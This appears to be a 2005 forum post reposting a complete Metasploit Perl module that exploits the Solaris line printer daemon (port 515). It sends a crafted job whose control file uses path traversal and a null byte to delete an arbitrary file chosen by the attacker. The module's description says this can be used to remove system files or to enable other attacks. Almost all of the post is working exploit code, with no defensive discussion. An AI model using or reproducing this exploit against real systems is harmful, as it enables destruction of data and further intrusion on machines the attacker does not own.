Welcome Guest ( Log In | Register)



 
Reply to this topicStart new topic
> [exploit] Sun Solaris "printd" Daemon, Remote Arbitrary File Deletion
RemoteConnection
post Sep 1 2005, 10:36 AM
Post #1


Advanced Member
*******

Group: Members
Posts: 119
Joined: 3-August 05
Member No.: 10,207



CODE

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::solaris_lpd_unlink;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Solaris LPD Arbitrary File Delete',
'Version' => '$Revision: 1.6 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
'Optyx <optyx [at] uberhax0r.net>'
],

'Arch' => [ ],
'OS' => [ 'solaris' ],

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
'RPATH' => [1, 'DATA', 'The remote path name to delete'],
},

'Description' => Pex::Text::Freeform(qq{
This module uses a vulnerability in the Solaris line printer daemon
to delete arbitrary files on an affected system. This can be used to exploit
the rpc.walld format string flaw, the missing krb5.conf authentication bypass,
or simple delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10.
}),

'Refs' =>
[
['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],
],

'DefaultTarget' => 0,
'Targets' => [['No Target Needed']],

'Keys' => ['lpd'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('RPATH');
my $res;

# We use one connection to configure the spool directory
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

# Send a job request that will trigger the cascade adaptor (thanks Dino!)
$s->Send("\x02"."metasploit:framework\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our job request command");
return;
}

# The job ID is squashed down to three decimal digits
my $jid = ($$ % 1000).unpack("H*",pack('N', time() + $$));

# Create a simple control file...
my $control = "Hmetasploit\nPr00t\n";

# Theoretically, we could delete multiple files at once, however
# the lp daemon will append garbage from memory to the path name
# if we don't stick a null byte after the path. Unfortunately, this
# null byte will prevent the parser from processing the other paths.
$control .= "U".("../" x 10)."$target_path\x00\n";

my $dataf = "http://metasploit.com/\n";

$self->PrintLine("[*] Sending the malicious cascaded job request...");
if ( ! $self->SendFile($s, 2, "cfA".$jid."metasploit", $control) ||
! $self->SendFile($s, 3, "dfa".$jid."metasploit", $dataf) ||
0
) { $s->Close; return }

$self->PrintLine('');
$self->PrintLine("[*] Successfully deleted $target_path >:-]");
return;
}

sub SendFile {
my $self = shift;
my $sock = shift;
my $type = shift;
my $name = shift;
my $data = shift;

$sock->Send(chr($type) .length($data). " $name\n");
my $res = $sock->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file command ($name)");
return;
}

$sock->Send($data);
$sock->Send("\x00");
$res = $sock->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file data ($name)");
return;
}

$self->PrintLine(sprintf("[*] Uploaded %.4d bytes >> $name", length($data)));
return 1;
}

1;


Notice from cmatcmextra:
Use codebox tags for long lines of code


This post has been edited by cmatcmextra: Sep 1 2005, 10:43 AM
Go to the top of the page
 
+Quote Post

Reply to this topicStart new topic

Collapse

> Similar Topics

Topics Topics
  1. File Sharing Hosts!(11)
  2. How To Extract The Audio From Youtube Videos(5)
  3. Simple C File Handling In Action(4)
  4. How To: Change Your Website's Index File(24)
  5. Shadow_x21 Tutorial Includes: Remote Shutdown(7)
  6. Where Is The Bookmarks File Stored With Ff2?(6)
  7. Linux/ Apache /mod_rewrite Issue(4)
  8. Defraggler - Free Software To Defrag Your File(15)
  9. Wmp (windows Media Photo) - The New Image File Format From Microsoft(33)
  10. How To Put Music In The Background Of A Powerpoint Presentation(11)
  11. Remote Assistance Problem(9)
  12. Copy A File And Rename It With Increment If Exist(5)
  13. Import From Excel File Into Mysql Database(11)
  14. Open Any Unknown File Type With Notepad(1)
  15. Free Software For File Recovery(6)
  1. How To Create Pdf Files Using Free Tool(0)
  2. Remote Viewing Techniques(0)
  3. Connect To Remote Oracle Database With Toad(7)
  4. My Review Of Megaupload.com(25)
  5. Another New Exploit And One A Few Weeks Ago, We Are All At Risk From These(0)
  6. Web Based Os(7)
  7. Need To Shrink The File Size Of Web Image? - Photoshop Tricks(3)
  8. File Sharing Hosts!(0)
  9. How To Open A .daa File(39)
  10. Read File (.txt) On Another Website Using Jsp?(3)
  11. Internal File Transfer(5)
  12. A Trap17 How-to Guide For Beginners(12)
  13. Transfer File Of Any Size Using Winsock Control(5)
  14. My File Manager Is Working(2)
  15. Linux Question: Amarok And File Permissions(4)


 



- Lo-Fi Version Time is now: 8th October 2008 - 07:00 AM